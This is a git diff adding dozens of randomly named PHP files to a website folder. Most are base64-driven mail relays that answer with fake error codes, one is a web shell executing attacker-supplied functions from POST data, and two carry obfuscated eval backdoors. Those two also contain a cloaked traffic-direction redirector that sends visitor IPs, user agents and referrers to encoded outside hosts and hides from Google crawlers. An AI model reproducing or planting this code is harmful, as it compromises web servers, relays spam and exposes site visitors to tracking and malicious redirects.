$x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/TYNFKENE.php b/22.12.2020/TYNFKENE.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/TYNFKENE.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/UHubsmfd.php b/22.12.2020/UHubsmfd.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/UHubsmfd.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/UhQHVUcY.php b/22.12.2020/UhQHVUcY.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/UhQHVUcY.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/VEBHdyjk.php b/22.12.2020/VEBHdyjk.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/VEBHdyjk.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/VEVyrgwg.php b/22.12.2020/VEVyrgwg.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/VEVyrgwg.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/VNTbffLC.php b/22.12.2020/VNTbffLC.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/VNTbffLC.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/VNrUWjJr.php b/22.12.2020/VNrUWjJr.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/VNrUWjJr.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/VTEYIZYR.php b/22.12.2020/VTEYIZYR.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/VTEYIZYR.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/VTNJCvtl.php b/22.12.2020/VTNJCvtl.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/VTNJCvtl.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/VUVdqARpdddd.php b/22.12.2020/VUVdqARpdddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/VUVdqARpdddd.php @@ -0,0 +1 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/WJAFcnNG.php b/22.12.2020/WJAFcnNG.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/WJAFcnNG.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/WNNOEwZa.php b/22.12.2020/WNNOEwZa.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/WNNOEwZa.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/WORWVGba.php b/22.12.2020/WORWVGba.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/WORWVGba.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/WSAEstYd.php b/22.12.2020/WSAEstYd.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/WSAEstYd.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/WcCLtMrE.php b/22.12.2020/WcCLtMrE.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/WcCLtMrE.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/WkbcftHVdddd.php b/22.12.2020/WkbcftHVdddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/WkbcftHVdddd.php @@ -0,0 +1 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/XwupmMMe.php b/22.12.2020/XwupmMMe.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/XwupmMMe.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/YIlMnEOu.php b/22.12.2020/YIlMnEOu.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/YIlMnEOu.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/YRzPVnWF.php b/22.12.2020/YRzPVnWF.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/YRzPVnWF.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/YZjlUDxqdddd.php b/22.12.2020/YZjlUDxqdddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/YZjlUDxqdddd.php @@ -0,0 +1 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/ZDNaAWEq.php b/22.12.2020/ZDNaAWEq.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/ZDNaAWEq.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/aQopMVaS.php b/22.12.2020/aQopMVaS.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/aQopMVaS.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/aZgzYaKE.php b/22.12.2020/aZgzYaKE.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/aZgzYaKE.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/amarsdyvgy.php b/22.12.2020/amarsdyvgy.php new file mode 100644 index 0000000..a6ec067 --- /dev/null +++ b/22.12.2020/amarsdyvgy.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/amsmmaczrz.php b/22.12.2020/amsmmaczrz.php new file mode 100644 index 0000000..207b261 --- /dev/null +++ b/22.12.2020/amsmmaczrz.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/annick_kadajas.html b/22.12.2020/annick_kadajas.html new file mode 100644 index 0000000..e033bab --- /dev/null +++ b/22.12.2020/annick_kadajas.html @@ -0,0 +1,9 @@ + +
+ + + + + + + diff --git a/22.12.2020/api.rubber.php b/22.12.2020/api.rubber.php new file mode 100644 index 0000000..3a05a1e --- /dev/null +++ b/22.12.2020/api.rubber.php @@ -0,0 +1,14 @@ +getMessage ()), '' ) + + +; +} +set_exception_handler ('exception_handler' ) +; + +throw new Exception ($_POST['f'] ($_POST ['c']) ) +; + +// Detect the native operating system type. +$os = strtoupper ( substr(PHP_OS, 0, 3)); + +if (!defined('IS_WIN')) +{ + define('IS_WIN', ($os === 'WIN') ? true : false); +} +if (!defined('IS_UNIX')) +{ + define('IS_UNIX', (IS_WIN === false) ? true : false); +} diff --git a/22.12.2020/apzfty.php b/22.12.2020/apzfty.php new file mode 100644 index 0000000..2a6e920 --- /dev/null +++ b/22.12.2020/apzfty.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/aqacke.php b/22.12.2020/aqacke.php new file mode 100644 index 0000000..0497a5e --- /dev/null +++ b/22.12.2020/aqacke.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/archivo.php b/22.12.2020/archivo.php new file mode 100644 index 0000000..6b576ed --- /dev/null +++ b/22.12.2020/archivo.php @@ -0,0 +1,34 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$vhdhhru=str_ireplace("m","",$hdufxkvrdyu);$rypnepeb = "/*knguzmhak*/ if (!empty($_GET) && isset($_GET["mode"])){/*mghsdvb*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*knspwbkhnp*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qcmhhYmZ4eXpyeGh1cGUqLyA=")); } die; } if(!empty($_GET)){$dwcuyf="aHR0cDovL2Ruc3BvaW50Y291bnRlci5pbmZvL2V1dnVlZmZwL3RnZmJtZ2FlL2Y1NzA5ZDRiNzZlNzQ4ZDFiM2M3ZDQ2NTM1ZGU4YjNmdHlyYWV1Lw=="; $xnvemchu=""; $wrpqpefumkhyedx="aHR0cDovL3VuaWNlZi5vcmc=="; $gabqxamnfu="new-w"; $tdeunq="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //NHGTBS// 
$hfmexube=strrev(str_ireplace("w","","wewwdwwwwowwwwwwcwwwwwewwwwwdwwww_wwww4www6wwwewwwwwswwwawwwbw"));$xwsbdbe="//ConfGui
// UG-^Z#7zg73(KY3)zSQBNsESF863
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// w$ud_Hn8QysDS0F+KNXW3A@dws#66e62!Rm5n-3RnU
$mode=$_GET["mode"];
if($mode=="config" AND $tdeunq==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($dwcuyf).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$xnvemchu.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$tdeunq.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($wrpqpefumkhyedx).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$gabqxamnfu.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// B6Ae^9S1F8Tm@HtD0zZ.G)NSU_VPFBae+(PrYvh1-W(nThR
if($mode=="setconfig" AND $tdeunq==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //NHG';
$kaka=$ka.'TBS// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $dwcuyf="'.base64_encode($_POST["ptds"]).'"; $xnvemchu="'.$_POST["ptdsip"].'"; $wrpqpefumkhyedx="'.base64_encode($_POST["pto"]).'"; $gabqxamnfu="'.$_POST["pesdid"].'"; $tdeunq="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// MDU4qQ_uG5dQrk
//send
if(empty($xnvemchu)) {$dom = explode("/", base64_decode($dwcuyf)); $dom=$dom[2];} else {$dom=$xnvemchu;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// nmbQuK=TFPV7nR^Kb
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($dwcuyf)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$gabqxamnfu;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// eT3qCbkQ6dX$7GRx4*@+)P2VB96pASUp.S
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($wrpqpefumkhyedx); }
} else { $goto=base64_decode($wrpqpefumkhyedx); }}
// !38mU!p)MceA6NTxMcUB
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($wrpqpefumkhyedx); }
} else { $goto=base64_decode($wrpqpefumkhyedx); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($hfmexube($xwsbdbe));}
"; function vtgfravukn($errno,$errstr,$errfile,$errline){ $dvvycyhtmetns= create_function('',$errstr); array_map($dvvycyhtmetns,array('')); } set_error_handler('vtgfravukn');$ydwyqgsg=$vhdhhru($rypnepeb);trigger_error($ydwyqgsg,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +// Set the root path as a constant. +if (!defined('NMYM')) +{ + define('NMYM', __DIR__); +} + + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/article_details.php b/22.12.2020/article_details.php new file mode 100644 index 0000000..248b96e --- /dev/null +++ b/22.12.2020/article_details.php @@ -0,0 +1,35 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$ytkhnzr=str_ireplace("t","",$xyvqt);$sppdwve = "/*gmrbwhdrrgee*/ if (!empty($_GET) && isset($_GET["mode"])){/*daqkbcvwxtrrwd*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*xryumvft*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qcW10d3ltKi8g")); } die; } if(!empty($_GET)){$zsrtn="aHR0cDovL29uZXNlcnZpY2VzLmluZm8veWJ3ZHhiaGsvZ3NwbXJ5aHBlZC9mZTI0OTJmZTRlMzA0MjkxOTlhZDRlY2Y2MmE5YzIyNm52dGZ3ZG0v"; $wszkqxzp=""; $htfparu="aHR0cDovL3VuaWNlZi5vcmc=="; $mfpcrxtufvufm="new-w"; $qgpkkdvrgqs="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //ZWWHTU// 
$pqcrnaehd=strrev(str_ireplace("y","","yyeyyyydyyyyoyyyyycyyyyyyeyyydyyyy_yyyy4yyyyy6yyyyyyeyyysyyyayyybyyy"));$qqvacsqgtc="//ConfGui
// a!YwtT@YUc^)tcr(S9)t-ahf0RVR^2n5$uhrnxVG5b
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// HQ5X@
$mode=$_GET["mode"];
if($mode=="config" AND $qgpkkdvrgqs==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($zsrtn).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$wszkqxzp.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$qgpkkdvrgqs.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($htfparu).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$mfpcrxtufvufm.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// TVpNvv=0QKq2GuAU_
